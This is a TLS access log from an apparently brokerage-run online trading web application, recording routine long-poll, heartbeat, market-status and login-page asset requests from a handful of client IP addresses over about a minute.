[09/Jan/2026:15:37:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944539530 HTTP/1.1" -
[09/Jan/2026:15:37:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944541182 HTTP/1.1" -
[09/Jan/2026:15:37:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944542880 HTTP/1.1" -
[09/Jan/2026:15:37:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944543714 HTTP/1.1" -
[09/Jan/2026:15:37:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944559568 HTTP/1.1" -
[09/Jan/2026:15:37:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944544674 HTTP/1.1" -
[09/Jan/2026:15:37:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:37:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:37:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944546220 HTTP/1.1" -
[09/Jan/2026:15:37:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:37:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:37:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:37:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944548887 HTTP/1.1" -
[09/Jan/2026:15:37:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944548750 HTTP/1.1" -
[09/Jan/2026:15:37:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944564591 HTTP/1.1" -
[09/Jan/2026:15:38:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944549811 HTTP/1.1" -
[09/Jan/2026:15:38:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944551246 HTTP/1.1" -
[09/Jan/2026:15:38:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:38:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944553769 HTTP/1.1" -
[09/Jan/2026:15:38:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944569658 HTTP/1.1" -
[09/Jan/2026:15:38:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944554889 HTTP/1.1" -
[09/Jan/2026:15:38:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944554848 HTTP/1.1" -
[09/Jan/2026:15:38:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:38:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944556283 HTTP/1.1" -
[09/Jan/2026:15:38:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:38:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944558801 HTTP/1.1" -
[09/Jan/2026:15:38:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944574732 HTTP/1.1" -
[09/Jan/2026:15:38:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944560884 HTTP/1.1" -
[09/Jan/2026:15:38:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944560110 HTTP/1.1" -
[09/Jan/2026:15:38:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944561309 HTTP/1.1" -
[09/Jan/2026:15:38:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:38:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:38:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944563828 HTTP/1.1" -
[09/Jan/2026:15:38:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944579789 HTTP/1.1" -
[09/Jan/2026:15:38:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944566350 HTTP/1.1" -
[09/Jan/2026:15:38:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944565311 HTTP/1.1" -
[09/Jan/2026:15:38:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944566883 HTTP/1.1" -
[09/Jan/2026:15:38:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944568869 HTTP/1.1" -
[09/Jan/2026:15:38:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944584815 HTTP/1.1" -
[09/Jan/2026:15:38:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944571380 HTTP/1.1" -
[09/Jan/2026:15:38:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944570521 HTTP/1.1" -
[09/Jan/2026:15:38:22 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/login.html HTTP/1.1" 1620
[09/Jan/2026:15:38:22 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/style_common.css?v=20200819161913 HTTP/1.1" 2539
[09/Jan/2026:15:38:22 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/style.css?v=20200819161913 HTTP/1.1" 1435
[09/Jan/2026:15:38:22 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:15:38:22 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:15:38:22 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:15:38:22 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:15:38:22 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:15:38:22 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:15:38:22 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:15:38:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944572887 HTTP/1.1" -
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/user/translation.js?jsv=20200819161913 HTTP/1.1" 12195
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161913 HTTP/1.1" 400
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161913 HTTP/1.1" 3881
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161913 HTTP/1.1" 6636
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161913 HTTP/1.1" 1017
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161913 HTTP/1.1" 886
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161913 HTTP/1.1" 1684
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161913 HTTP/1.1" 85
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/user/custom_variables.js?jsv=20200819161913 HTTP/1.1" 275
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161913 HTTP/1.1" 272
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161913 HTTP/1.1" 1206
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161913 HTTP/1.1" 982
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161913 HTTP/1.1" 2043
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161913 HTTP/1.1" 2106
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161913 HTTP/1.1" 3099
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161913 HTTP/1.1" 1730
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161913 HTTP/1.1" 1362
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161913 HTTP/1.1" 6736
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161913 HTTP/1.1" 303
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161913 HTTP/1.1" 481
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161913 HTTP/1.1" 1658
[09/Jan/2026:15:38:23 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:15:38:24 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/dialog.html?1767944575374 HTTP/1.1" 3027
[09/Jan/2026:15:38:24 +0800] 103.160.240.143 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/en/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:15:38:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944573905 HTTP/1.1" -
[09/Jan/2026:15:38:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944589850 HTTP/1.1" -
[09/Jan/2026:15:38:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944576424 HTTP/1.1" -
[09/Jan/2026:15:38:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944575659 HTTP/1.1" -
[09/Jan/2026:15:38:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:38:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:38:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:38:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944578890 HTTP/1.1" -
[09/Jan/2026:15:38:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944578961 HTTP/1.1" -
[09/Jan/2026:15:38:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944594918 HTTP/1.1" -
[09/Jan/2026:15:38:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944581460 HTTP/1.1" -
[09/Jan/2026:15:38:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944580813 HTTP/1.1" -
[09/Jan/2026:15:38:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:38:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:38:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944583987 HTTP/1.1" -
